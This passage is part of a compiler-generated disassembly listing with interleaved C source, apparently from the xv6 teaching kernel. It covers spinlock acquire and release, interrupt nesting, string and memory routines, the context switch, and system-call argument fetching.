80104469: 83 fa 0a cmp $0xa,%edx
8010446c: 75 e2 jne 80104450 <getcallerpcs+0x10>
}
for(; i < 10; i++)
pcs[i] = 0;
}
8010446e: 5b pop %ebx
8010446f: 5d pop %ebp
80104470: c3 ret
80104471: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104478: 8d 04 91 lea (%ecx,%edx,4),%eax
8010447b: 83 c1 28 add $0x28,%ecx
8010447e: 66 90 xchg %ax,%ax
pcs[i] = 0;
80104480: c7 00 00 00 00 00 movl $0x0,(%eax)
80104486: 83 c0 04 add $0x4,%eax
for(; i < 10; i++)
80104489: 39 c1 cmp %eax,%ecx
8010448b: 75 f3 jne 80104480 <getcallerpcs+0x40>
}
8010448d: 5b pop %ebx
8010448e: 5d pop %ebp
8010448f: c3 ret
80104490 <pushcli>:
// it takes two popcli to undo two pushcli. Also, if interrupts
// are off, then pushcli, popcli leaves them off.
void
pushcli(void)
{
80104490: 55 push %ebp
80104491: 89 e5 mov %esp,%ebp
80104493: 53 push %ebx
80104494: 83 ec 04 sub $0x4,%esp
asm volatile("pushfl; popl %0" : "=r" (eflags));
80104497: 9c pushf
80104498: 5b pop %ebx
asm volatile("cli");
80104499: fa cli
int eflags;
eflags = readeflags();
cli();
if(mycpu()->ncli == 0)
8010449a: e8 91 f3 ff ff call 80103830 <mycpu>
8010449f: 8b 80 a4 00 00 00 mov 0xa4(%eax),%eax
801044a5: 85 c0 test %eax,%eax
801044a7: 75 11 jne 801044ba <pushcli+0x2a>
mycpu()->intena = eflags & FL_IF;
801044a9: 81 e3 00 02 00 00 and $0x200,%ebx
801044af: e8 7c f3 ff ff call 80103830 <mycpu>
801044b4: 89 98 a8 00 00 00 mov %ebx,0xa8(%eax)
mycpu()->ncli += 1;
801044ba: e8 71 f3 ff ff call 80103830 <mycpu>
801044bf: 83 80 a4 00 00 00 01 addl $0x1,0xa4(%eax)
}
801044c6: 83 c4 04 add $0x4,%esp
801044c9: 5b pop %ebx
801044ca: 5d pop %ebp
801044cb: c3 ret
801044cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801044d0 <popcli>:
void
popcli(void)
{
801044d0: 55 push %ebp
801044d1: 89 e5 mov %esp,%ebp
801044d3: 83 ec 08 sub $0x8,%esp
asm volatile("pushfl; popl %0" : "=r" (eflags));
801044d6: 9c pushf
801044d7: 58 pop %eax
if(readeflags()&FL_IF)
801044d8: f6 c4 02 test $0x2,%ah
801044db: 75 35 jne 80104512 <popcli+0x42>
panic("popcli - interruptible");
if(--mycpu()->ncli < 0)
801044dd: e8 4e f3 ff ff call 80103830 <mycpu>
801044e2: 83 a8 a4 00 00 00 01 subl $0x1,0xa4(%eax)
801044e9: 78 34 js 8010451f <popcli+0x4f>
panic("popcli");
if(mycpu()->ncli == 0 && mycpu()->intena)
801044eb: e8 40 f3 ff ff call 80103830 <mycpu>
801044f0: 8b 90 a4 00 00 00 mov 0xa4(%eax),%edx
801044f6: 85 d2 test %edx,%edx
801044f8: 74 06 je 80104500 <popcli+0x30>
sti();
}
801044fa: c9 leave
801044fb: c3 ret
801044fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(mycpu()->ncli == 0 && mycpu()->intena)
80104500: e8 2b f3 ff ff call 80103830 <mycpu>
80104505: 8b 80 a8 00 00 00 mov 0xa8(%eax),%eax
8010450b: 85 c0 test %eax,%eax
8010450d: 74 eb je 801044fa <popcli+0x2a>
asm volatile("sti");
8010450f: fb sti
}
80104510: c9 leave
80104511: c3 ret
panic("popcli - interruptible");
80104512: 83 ec 0c sub $0xc,%esp
80104515: 68 73 7a 10 80 push $0x80107a73
8010451a: e8 71 be ff ff call 80100390 <panic>
panic("popcli");
8010451f: 83 ec 0c sub $0xc,%esp
80104522: 68 8a 7a 10 80 push $0x80107a8a
80104527: e8 64 be ff ff call 80100390 <panic>
8010452c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104530 <holding>:
{
80104530: 55 push %ebp
80104531: 89 e5 mov %esp,%ebp
80104533: 56 push %esi
80104534: 53 push %ebx
80104535: 8b 75 08 mov 0x8(%ebp),%esi
80104538: 31 db xor %ebx,%ebx
pushcli();
8010453a: e8 51 ff ff ff call 80104490 <pushcli>
r = lock->locked && lock->cpu == mycpu();
8010453f: 8b 06 mov (%esi),%eax
80104541: 85 c0 test %eax,%eax
80104543: 74 10 je 80104555 <holding+0x25>
80104545: 8b 5e 08 mov 0x8(%esi),%ebx
80104548: e8 e3 f2 ff ff call 80103830 <mycpu>
8010454d: 39 c3 cmp %eax,%ebx
8010454f: 0f 94 c3 sete %bl
80104552: 0f b6 db movzbl %bl,%ebx
popcli();
80104555: e8 76 ff ff ff call 801044d0 <popcli>
}
8010455a: 89 d8 mov %ebx,%eax
8010455c: 5b pop %ebx
8010455d: 5e pop %esi
8010455e: 5d pop %ebp
8010455f: c3 ret
80104560 <acquire>:
{
80104560: 55 push %ebp
80104561: 89 e5 mov %esp,%ebp
80104563: 56 push %esi
80104564: 53 push %ebx
pushcli(); // disable interrupts to avoid deadlock.
80104565: e8 26 ff ff ff call 80104490 <pushcli>
if(holding(lk))
8010456a: 8b 5d 08 mov 0x8(%ebp),%ebx
8010456d: 83 ec 0c sub $0xc,%esp
80104570: 53 push %ebx
80104571: e8 ba ff ff ff call 80104530 <holding>
80104576: 83 c4 10 add $0x10,%esp
80104579: 85 c0 test %eax,%eax
8010457b: 0f 85 83 00 00 00 jne 80104604 <acquire+0xa4>
80104581: 89 c6 mov %eax,%esi
asm volatile("lock; xchgl %0, %1" :
80104583: ba 01 00 00 00 mov $0x1,%edx
80104588: eb 09 jmp 80104593 <acquire+0x33>
8010458a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104590: 8b 5d 08 mov 0x8(%ebp),%ebx
80104593: 89 d0 mov %edx,%eax
80104595: f0 87 03 lock xchg %eax,(%ebx)
while(xchg(&lk->locked, 1) != 0)
80104598: 85 c0 test %eax,%eax
8010459a: 75 f4 jne 80104590 <acquire+0x30>
__sync_synchronize();
8010459c: f0 83 0c 24 00 lock orl $0x0,(%esp)
lk->cpu = mycpu();
801045a1: 8b 5d 08 mov 0x8(%ebp),%ebx
801045a4: e8 87 f2 ff ff call 80103830 <mycpu>
getcallerpcs(&lk, lk->pcs);
801045a9: 8d 53 0c lea 0xc(%ebx),%edx
lk->cpu = mycpu();
801045ac: 89 43 08 mov %eax,0x8(%ebx)
ebp = (uint*)v - 2;
801045af: 89 e8 mov %ebp,%eax
801045b1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
801045b8: 8d 88 00 00 00 80 lea -0x80000000(%eax),%ecx
801045be: 81 f9 fe ff ff 7f cmp $0x7ffffffe,%ecx
801045c4: 77 1a ja 801045e0 <acquire+0x80>
pcs[i] = ebp[1]; // saved %eip
801045c6: 8b 48 04 mov 0x4(%eax),%ecx
801045c9: 89 0c b2 mov %ecx,(%edx,%esi,4)
for(i = 0; i < 10; i++){
801045cc: 83 c6 01 add $0x1,%esi
ebp = (uint*)ebp[0]; // saved %ebp
801045cf: 8b 00 mov (%eax),%eax
for(i = 0; i < 10; i++){
801045d1: 83 fe 0a cmp $0xa,%esi
801045d4: 75 e2 jne 801045b8 <acquire+0x58>
}
801045d6: 8d 65 f8 lea -0x8(%ebp),%esp
801045d9: 5b pop %ebx
801045da: 5e pop %esi
801045db: 5d pop %ebp
801045dc: c3 ret
801045dd: 8d 76 00 lea 0x0(%esi),%esi
801045e0: 8d 04 b2 lea (%edx,%esi,4),%eax
801045e3: 83 c2 28 add $0x28,%edx
801045e6: 8d 76 00 lea 0x0(%esi),%esi
801045e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
pcs[i] = 0;
801045f0: c7 00 00 00 00 00 movl $0x0,(%eax)
801045f6: 83 c0 04 add $0x4,%eax
for(; i < 10; i++)
801045f9: 39 d0 cmp %edx,%eax
801045fb: 75 f3 jne 801045f0 <acquire+0x90>
}
801045fd: 8d 65 f8 lea -0x8(%ebp),%esp
80104600: 5b pop %ebx
80104601: 5e pop %esi
80104602: 5d pop %ebp
80104603: c3 ret
panic("acquire");
80104604: 83 ec 0c sub $0xc,%esp
80104607: 68 91 7a 10 80 push $0x80107a91
8010460c: e8 7f bd ff ff call 80100390 <panic>
80104611: eb 0d jmp 80104620 <release>
80104613: 90 nop
80104614: 90 nop
80104615: 90 nop
80104616: 90 nop
80104617: 90 nop
80104618: 90 nop
80104619: 90 nop
8010461a: 90 nop
8010461b: 90 nop
8010461c: 90 nop
8010461d: 90 nop
8010461e: 90 nop
8010461f: 90 nop
80104620 <release>:
{
80104620: 55 push %ebp
80104621: 89 e5 mov %esp,%ebp
80104623: 53 push %ebx
80104624: 83 ec 10 sub $0x10,%esp
80104627: 8b 5d 08 mov 0x8(%ebp),%ebx
if(!holding(lk))
8010462a: 53 push %ebx
8010462b: e8 00 ff ff ff call 80104530 <holding>
80104630: 83 c4 10 add $0x10,%esp
80104633: 85 c0 test %eax,%eax
80104635: 74 22 je 80104659 <release+0x39>
lk->pcs[0] = 0;
80104637: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
lk->cpu = 0;
8010463e: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx)
__sync_synchronize();
80104645: f0 83 0c 24 00 lock orl $0x0,(%esp)
asm volatile("movl $0, %0" : "+m" (lk->locked) : );
8010464a: c7 03 00 00 00 00 movl $0x0,(%ebx)
}
80104650: 8b 5d fc mov -0x4(%ebp),%ebx
80104653: c9 leave
popcli();
80104654: e9 77 fe ff ff jmp 801044d0 <popcli>
panic("release");
80104659: 83 ec 0c sub $0xc,%esp
8010465c: 68 99 7a 10 80 push $0x80107a99
80104661: e8 2a bd ff ff call 80100390 <panic>
80104666: 66 90 xchg %ax,%ax
80104668: 66 90 xchg %ax,%ax
8010466a: 66 90 xchg %ax,%ax
8010466c: 66 90 xchg %ax,%ax
8010466e: 66 90 xchg %ax,%ax
80104670 <memset>:
80104670: 55 push %ebp
80104671: 89 e5 mov %esp,%ebp
80104673: 57 push %edi
80104674: 53 push %ebx
80104675: 8b 55 08 mov 0x8(%ebp),%edx
80104678: 8b 4d 10 mov 0x10(%ebp),%ecx
8010467b: f6 c2 03 test $0x3,%dl
8010467e: 75 05 jne 80104685 <memset+0x15>
80104680: f6 c1 03 test $0x3,%cl
80104683: 74 13 je 80104698 <memset+0x28>
80104685: 89 d7 mov %edx,%edi
80104687: 8b 45 0c mov 0xc(%ebp),%eax
8010468a: fc cld
8010468b: f3 aa rep stos %al,%es:(%edi)
8010468d: 5b pop %ebx
8010468e: 89 d0 mov %edx,%eax
80104690: 5f pop %edi
80104691: 5d pop %ebp
80104692: c3 ret
80104693: 90 nop
80104694: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104698: 0f b6 7d 0c movzbl 0xc(%ebp),%edi
8010469c: c1 e9 02 shr $0x2,%ecx
8010469f: 89 f8 mov %edi,%eax
801046a1: 89 fb mov %edi,%ebx
801046a3: c1 e0 18 shl $0x18,%eax
801046a6: c1 e3 10 shl $0x10,%ebx
801046a9: 09 d8 or %ebx,%eax
801046ab: 09 f8 or %edi,%eax
801046ad: c1 e7 08 shl $0x8,%edi
801046b0: 09 f8 or %edi,%eax
801046b2: 89 d7 mov %edx,%edi
801046b4: fc cld
801046b5: f3 ab rep stos %eax,%es:(%edi)
801046b7: 5b pop %ebx
801046b8: 89 d0 mov %edx,%eax
801046ba: 5f pop %edi
801046bb: 5d pop %ebp
801046bc: c3 ret
801046bd: 8d 76 00 lea 0x0(%esi),%esi
801046c0 <memcmp>:
801046c0: 55 push %ebp
801046c1: 89 e5 mov %esp,%ebp
801046c3: 57 push %edi
801046c4: 56 push %esi
801046c5: 53 push %ebx
801046c6: 8b 5d 10 mov 0x10(%ebp),%ebx
801046c9: 8b 75 08 mov 0x8(%ebp),%esi
801046cc: 8b 7d 0c mov 0xc(%ebp),%edi
801046cf: 85 db test %ebx,%ebx
801046d1: 74 29 je 801046fc <memcmp+0x3c>
801046d3: 0f b6 16 movzbl (%esi),%edx
801046d6: 0f b6 0f movzbl (%edi),%ecx
801046d9: 38 d1 cmp %dl,%cl
801046db: 75 2b jne 80104708 <memcmp+0x48>
801046dd: b8 01 00 00 00 mov $0x1,%eax
801046e2: eb 14 jmp 801046f8 <memcmp+0x38>
801046e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801046e8: 0f b6 14 06 movzbl (%esi,%eax,1),%edx
801046ec: 83 c0 01 add $0x1,%eax
801046ef: 0f b6 4c 07 ff movzbl -0x1(%edi,%eax,1),%ecx
801046f4: 38 ca cmp %cl,%dl
801046f6: 75 10 jne 80104708 <memcmp+0x48>
801046f8: 39 d8 cmp %ebx,%eax
801046fa: 75 ec jne 801046e8 <memcmp+0x28>
801046fc: 5b pop %ebx
801046fd: 31 c0 xor %eax,%eax
801046ff: 5e pop %esi
80104700: 5f pop %edi
80104701: 5d pop %ebp
80104702: c3 ret
80104703: 90 nop
80104704: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104708: 0f b6 c2 movzbl %dl,%eax
8010470b: 5b pop %ebx
8010470c: 29 c8 sub %ecx,%eax
8010470e: 5e pop %esi
8010470f: 5f pop %edi
80104710: 5d pop %ebp
80104711: c3 ret
80104712: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104719: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104720 <memmove>:
80104720: 55 push %ebp
80104721: 89 e5 mov %esp,%ebp
80104723: 56 push %esi
80104724: 53 push %ebx
80104725: 8b 45 08 mov 0x8(%ebp),%eax
80104728: 8b 5d 0c mov 0xc(%ebp),%ebx
8010472b: 8b 75 10 mov 0x10(%ebp),%esi
8010472e: 39 c3 cmp %eax,%ebx
80104730: 73 26 jae 80104758 <memmove+0x38>
80104732: 8d 0c 33 lea (%ebx,%esi,1),%ecx
80104735: 39 c8 cmp %ecx,%eax
80104737: 73 1f jae 80104758 <memmove+0x38>
80104739: 85 f6 test %esi,%esi
8010473b: 8d 56 ff lea -0x1(%esi),%edx
8010473e: 74 0f je 8010474f <memmove+0x2f>
80104740: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx
80104744: 88 0c 10 mov %cl,(%eax,%edx,1)
80104747: 83 ea 01 sub $0x1,%edx
8010474a: 83 fa ff cmp $0xffffffff,%edx
8010474d: 75 f1 jne 80104740 <memmove+0x20>
8010474f: 5b pop %ebx
80104750: 5e pop %esi
80104751: 5d pop %ebp
80104752: c3 ret
80104753: 90 nop
80104754: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104758: 31 d2 xor %edx,%edx
8010475a: 85 f6 test %esi,%esi
8010475c: 74 f1 je 8010474f <memmove+0x2f>
8010475e: 66 90 xchg %ax,%ax
80104760: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx
80104764: 88 0c 10 mov %cl,(%eax,%edx,1)
80104767: 83 c2 01 add $0x1,%edx
8010476a: 39 d6 cmp %edx,%esi
8010476c: 75 f2 jne 80104760 <memmove+0x40>
8010476e: 5b pop %ebx
8010476f: 5e pop %esi
80104770: 5d pop %ebp
80104771: c3 ret
80104772: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104779: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104780 <memcpy>:
80104780: 55 push %ebp
80104781: 89 e5 mov %esp,%ebp
80104783: 5d pop %ebp
80104784: eb 9a jmp 80104720 <memmove>
80104786: 8d 76 00 lea 0x0(%esi),%esi
80104789: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104790 <strncmp>:
80104790: 55 push %ebp
80104791: 89 e5 mov %esp,%ebp
80104793: 57 push %edi
80104794: 56 push %esi
80104795: 8b 7d 10 mov 0x10(%ebp),%edi
80104798: 53 push %ebx
80104799: 8b 4d 08 mov 0x8(%ebp),%ecx
8010479c: 8b 75 0c mov 0xc(%ebp),%esi
8010479f: 85 ff test %edi,%edi
801047a1: 74 2f je 801047d2 <strncmp+0x42>
801047a3: 0f b6 01 movzbl (%ecx),%eax
801047a6: 0f b6 1e movzbl (%esi),%ebx
801047a9: 84 c0 test %al,%al
801047ab: 74 37 je 801047e4 <strncmp+0x54>
801047ad: 38 c3 cmp %al,%bl
801047af: 75 33 jne 801047e4 <strncmp+0x54>
801047b1: 01 f7 add %esi,%edi
801047b3: eb 13 jmp 801047c8 <strncmp+0x38>
801047b5: 8d 76 00 lea 0x0(%esi),%esi
801047b8: 0f b6 01 movzbl (%ecx),%eax
801047bb: 84 c0 test %al,%al
801047bd: 74 21 je 801047e0 <strncmp+0x50>
801047bf: 0f b6 1a movzbl (%edx),%ebx
801047c2: 89 d6 mov %edx,%esi
801047c4: 38 d8 cmp %bl,%al
801047c6: 75 1c jne 801047e4 <strncmp+0x54>
801047c8: 8d 56 01 lea 0x1(%esi),%edx
801047cb: 83 c1 01 add $0x1,%ecx
801047ce: 39 fa cmp %edi,%edx
801047d0: 75 e6 jne 801047b8 <strncmp+0x28>
801047d2: 5b pop %ebx
801047d3: 31 c0 xor %eax,%eax
801047d5: 5e pop %esi
801047d6: 5f pop %edi
801047d7: 5d pop %ebp
801047d8: c3 ret
801047d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801047e0: 0f b6 5e 01 movzbl 0x1(%esi),%ebx
801047e4: 29 d8 sub %ebx,%eax
801047e6: 5b pop %ebx
801047e7: 5e pop %esi
801047e8: 5f pop %edi
801047e9: 5d pop %ebp
801047ea: c3 ret
801047eb: 90 nop
801047ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801047f0 <strncpy>:
801047f0: 55 push %ebp
801047f1: 89 e5 mov %esp,%ebp
801047f3: 56 push %esi
801047f4: 53 push %ebx
801047f5: 8b 45 08 mov 0x8(%ebp),%eax
801047f8: 8b 5d 0c mov 0xc(%ebp),%ebx
801047fb: 8b 4d 10 mov 0x10(%ebp),%ecx
801047fe: 89 c2 mov %eax,%edx
80104800: eb 19 jmp 8010481b <strncpy+0x2b>
80104802: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104808: 83 c3 01 add $0x1,%ebx
8010480b: 0f b6 4b ff movzbl -0x1(%ebx),%ecx
8010480f: 83 c2 01 add $0x1,%edx
80104812: 84 c9 test %cl,%cl
80104814: 88 4a ff mov %cl,-0x1(%edx)
80104817: 74 09 je 80104822 <strncpy+0x32>
80104819: 89 f1 mov %esi,%ecx
8010481b: 85 c9 test %ecx,%ecx
8010481d: 8d 71 ff lea -0x1(%ecx),%esi
80104820: 7f e6 jg 80104808 <strncpy+0x18>
80104822: 31 c9 xor %ecx,%ecx
80104824: 85 f6 test %esi,%esi
80104826: 7e 17 jle 8010483f <strncpy+0x4f>
80104828: 90 nop
80104829: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104830: c6 04 0a 00 movb $0x0,(%edx,%ecx,1)
80104834: 89 f3 mov %esi,%ebx
80104836: 83 c1 01 add $0x1,%ecx
80104839: 29 cb sub %ecx,%ebx
8010483b: 85 db test %ebx,%ebx
8010483d: 7f f1 jg 80104830 <strncpy+0x40>
8010483f: 5b pop %ebx
80104840: 5e pop %esi
80104841: 5d pop %ebp
80104842: c3 ret
80104843: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104849: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104850 <safestrcpy>:
80104850: 55 push %ebp
80104851: 89 e5 mov %esp,%ebp
80104853: 56 push %esi
80104854: 53 push %ebx
80104855: 8b 4d 10 mov 0x10(%ebp),%ecx
80104858: 8b 45 08 mov 0x8(%ebp),%eax
8010485b: 8b 55 0c mov 0xc(%ebp),%edx
8010485e: 85 c9 test %ecx,%ecx
80104860: 7e 26 jle 80104888 <safestrcpy+0x38>
80104862: 8d 74 0a ff lea -0x1(%edx,%ecx,1),%esi
80104866: 89 c1 mov %eax,%ecx
80104868: eb 17 jmp 80104881 <safestrcpy+0x31>
8010486a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104870: 83 c2 01 add $0x1,%edx
80104873: 0f b6 5a ff movzbl -0x1(%edx),%ebx
80104877: 83 c1 01 add $0x1,%ecx
8010487a: 84 db test %bl,%bl
8010487c: 88 59 ff mov %bl,-0x1(%ecx)
8010487f: 74 04 je 80104885 <safestrcpy+0x35>
80104881: 39 f2 cmp %esi,%edx
80104883: 75 eb jne 80104870 <safestrcpy+0x20>
80104885: c6 01 00 movb $0x0,(%ecx)
80104888: 5b pop %ebx
80104889: 5e pop %esi
8010488a: 5d pop %ebp
8010488b: c3 ret
8010488c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104890 <strlen>:
80104890: 55 push %ebp
80104891: 31 c0 xor %eax,%eax
80104893: 89 e5 mov %esp,%ebp
80104895: 8b 55 08 mov 0x8(%ebp),%edx
80104898: 80 3a 00 cmpb $0x0,(%edx)
8010489b: 74 0c je 801048a9 <strlen+0x19>
8010489d: 8d 76 00 lea 0x0(%esi),%esi
801048a0: 83 c0 01 add $0x1,%eax
801048a3: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1)
801048a7: 75 f7 jne 801048a0 <strlen+0x10>
801048a9: 5d pop %ebp
801048aa: c3 ret
801048ab <swtch>:
801048ab: 8b 44 24 04 mov 0x4(%esp),%eax
801048af: 8b 54 24 08 mov 0x8(%esp),%edx
801048b3: 55 push %ebp
801048b4: 53 push %ebx
801048b5: 56 push %esi
801048b6: 57 push %edi
801048b7: 89 20 mov %esp,(%eax)
801048b9: 89 d4 mov %edx,%esp
801048bb: 5f pop %edi
801048bc: 5e pop %esi
801048bd: 5b pop %ebx
801048be: 5d pop %ebp
801048bf: c3 ret
801048c0 <fetchint>:
// to a saved program counter, and then the first argument.
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
801048c0: 55 push %ebp
801048c1: 89 e5 mov %esp,%ebp
801048c3: 53 push %ebx
801048c4: 83 ec 04 sub $0x4,%esp
801048c7: 8b 5d 08 mov 0x8(%ebp),%ebx
struct proc *curproc = myproc();
801048ca: e8 f1 ef ff ff call 801038c0 <myproc>
if(addr >= curproc->sz || addr+4 > curproc->sz)
801048cf: 8b 00 mov (%eax),%eax
801048d1: 39 d8 cmp %ebx,%eax
801048d3: 76 1b jbe 801048f0 <fetchint+0x30>
801048d5: 8d 53 04 lea 0x4(%ebx),%edx
801048d8: 39 d0 cmp %edx,%eax
801048da: 72 14 jb 801048f0 <fetchint+0x30>
return -1;
*ip = *(int*)(addr);
801048dc: 8b 45 0c mov 0xc(%ebp),%eax
801048df: 8b 13 mov (%ebx),%edx
801048e1: 89 10 mov %edx,(%eax)
return 0;
801048e3: 31 c0 xor %eax,%eax
}
801048e5: 83 c4 04 add $0x4,%esp
801048e8: 5b pop %ebx
801048e9: 5d pop %ebp
801048ea: c3 ret
801048eb: 90 nop
801048ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
801048f0: b8 ff ff ff ff mov $0xffffffff,%eax
801048f5: eb ee jmp 801048e5 <fetchint+0x25>
801048f7: 89 f6 mov %esi,%esi
801048f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104900 <fetchstr>:
// Fetch the nul-terminated string at addr from the current process.
// Doesn't actually copy the string - just sets *pp to point at it.
// Returns length of string, not including nul.
int
fetchstr(uint addr, char **pp)
{
80104900: 55 push %ebp
80104901: 89 e5 mov %esp,%ebp
80104903: 53 push %ebx
80104904: 83 ec 04 sub $0x4,%esp
80104907: 8b 5d 08 mov 0x8(%ebp),%ebx
char *s, *ep;
struct proc *curproc = myproc();
8010490a: e8 b1 ef ff ff call 801038c0 <myproc>
if(addr >= curproc->sz)
8010490f: 39 18 cmp %ebx,(%eax)
80104911: 76 29 jbe 8010493c <fetchstr+0x3c>
return -1;
*pp = (char*)addr;
80104913: 8b 4d 0c mov 0xc(%ebp),%ecx
80104916: 89 da mov %ebx,%edx
80104918: 89 19 mov %ebx,(%ecx)
ep = (char*)curproc->sz;
8010491a: 8b 00 mov (%eax),%eax
for(s = *pp; s < ep; s++){
8010491c: 39 c3 cmp %eax,%ebx
8010491e: 73 1c jae 8010493c <fetchstr+0x3c>
if(*s == 0)
80104920: 80 3b 00 cmpb $0x0,(%ebx)
80104923: 75 10 jne 80104935 <fetchstr+0x35>
80104925: eb 39 jmp 80104960 <fetchstr+0x60>
80104927: 89 f6 mov %esi,%esi
80104929: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104930: 80 3a 00 cmpb $0x0,(%edx)
80104933: 74 1b je 80104950 <fetchstr+0x50>
for(s = *pp; s < ep; s++){
80104935: 83 c2 01 add $0x1,%edx
80104938: 39 d0 cmp %edx,%eax
8010493a: 77 f4 ja 80104930 <fetchstr+0x30>
return -1;
8010493c: b8 ff ff ff ff mov $0xffffffff,%eax
return s - *pp;
}
return -1;
}
80104941: 83 c4 04 add $0x4,%esp
80104944: 5b pop %ebx
80104945: 5d pop %ebp
80104946: c3 ret
80104947: 89 f6 mov %esi,%esi
80104949: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104950: 83 c4 04 add $0x4,%esp
80104953: 89 d0 mov %edx,%eax
80104955: 29 d8 sub %ebx,%eax
80104957: 5b pop %ebx
80104958: 5d pop %ebp
80104959: c3 ret
8010495a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(*s == 0)
80104960: 31 c0 xor %eax,%eax
return s - *pp;
80104962: eb dd jmp 80104941 <fetchstr+0x41>
80104964: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8010496a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80104970 <argint>:
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
80104970: 55 push %ebp
80104971: 89 e5 mov %esp,%ebp
80104973: 56 push %esi
80104974: 53 push %ebx
return fetchint((myproc()->tf->esp) + 4 + 4*n, ip);
80104975: e8 46 ef ff ff call 801038c0 <myproc>
8010497a: 8b 40 18 mov 0x18(%eax),%eax
8010497d: 8b 55 08 mov 0x8(%ebp),%edx
80104980: 8b 40 44 mov 0x44(%eax),%eax
80104983: 8d 1c 90 lea (%eax,%edx,4),%ebx
struct proc *curproc = myproc();
80104986: e8 35 ef ff ff call 801038c0 <myproc>
if(addr >= curproc->sz || addr+4 > curproc->sz)
8010498b: 8b 00 mov (%eax),%eax
return fetchint((myproc()->tf->esp) + 4 + 4*n, ip);
8010498d: 8d 73 04 lea 0x4(%ebx),%esi
if(addr >= curproc->sz || addr+4 > curproc->sz)
80104990: 39 c6 cmp %eax,%esi
80104992: 73 1c jae 801049b0 <argint+0x40>
80104994: 8d 53 08 lea 0x8(%ebx),%edx
80104997: 39 d0 cmp %edx,%eax
80104999: 72 15 jb 801049b0 <argint+0x40>
*ip = *(int*)(addr);
8010499b: 8b 45 0c mov 0xc(%ebp),%eax
8010499e: 8b 53 04 mov 0x4(%ebx),%edx
801049a1: 89 10 mov %edx,(%eax)
return 0;
801049a3: 31 c0 xor %eax,%eax
}
801049a5: 5b pop %ebx
801049a6: 5e pop %esi
801049a7: 5d pop %ebp
801049a8: c3 ret
801049a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
801049b0: b8 ff ff ff ff mov $0xffffffff,%eax
return fetchint((myproc()->tf->esp) + 4 + 4*n, ip);
801049b5: eb ee jmp 801049a5 <argint+0x35>
801049b7: 89 f6 mov %esi,%esi
801049b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801049c0 <argptr>:
// Fetch the nth word-sized system call argument as a pointer
// to a block of memory of size bytes. Check that the pointer
// lies within the process address space.
int
argptr(int n, char **pp, int size)
{
801049c0: 55 push %ebp
801049c1: 89 e5 mov %esp,%ebp
801049c3: 56 push %esi
801049c4: 53 push %ebx
801049c5: 83 ec 10 sub $0x10,%esp
801049c8: 8b 5d 10 mov 0x10(%ebp),%ebx
int i;
struct proc *curproc = myproc();
801049cb: e8 f0 ee ff ff call 801038c0 <myproc>
801049d0: 89 c6 mov %eax,%esi
if(argint(n, &i) < 0)
801049d2: 8d 45 f4 lea -0xc(%ebp),%eax
801049d5: 83 ec 08 sub $0x8,%esp
801049d8: 50 push %eax
801049d9: ff 75 08 pushl 0x8(%ebp)
801049dc: e8 8f ff ff ff call 80104970 <argint>
return -1;
if(size < 0 || (uint)i >= curproc->sz || (uint)i+size > curproc->sz)
801049e1: 83 c4 10 add $0x10,%esp
801049e4: 85 c0 test %eax,%eax
801049e6: 78 28 js 80104a10 <argptr+0x50>
801049e8: 85 db test %ebx,%ebx
801049ea: 78 24 js 80104a10 <argptr+0x50>
801049ec: 8b 16 mov (%esi),%edx
801049ee: 8b 45 f4 mov -0xc(%ebp),%eax
801049f1: 39 c2 cmp %eax,%edx
801049f3: 76 1b jbe 80104a10 <argptr+0x50>
801049f5: 01 c3 add %eax,%ebx
801049f7: 39 da cmp %ebx,%edx
801049f9: 72 15 jb 80104a10 <argptr+0x50>
return -1;
*pp = (char*)i;
801049fb: 8b 55 0c mov 0xc(%ebp),%edx
801049fe: 89 02 mov %eax,(%edx)
return 0;
80104a00: 31 c0 xor %eax,%eax
}
80104a02: 8d 65 f8 lea -0x8(%ebp),%esp
80104a05: 5b pop %ebx
80104a06: 5e pop %esi
80104a07: 5d pop %ebp
80104a08: c3 ret
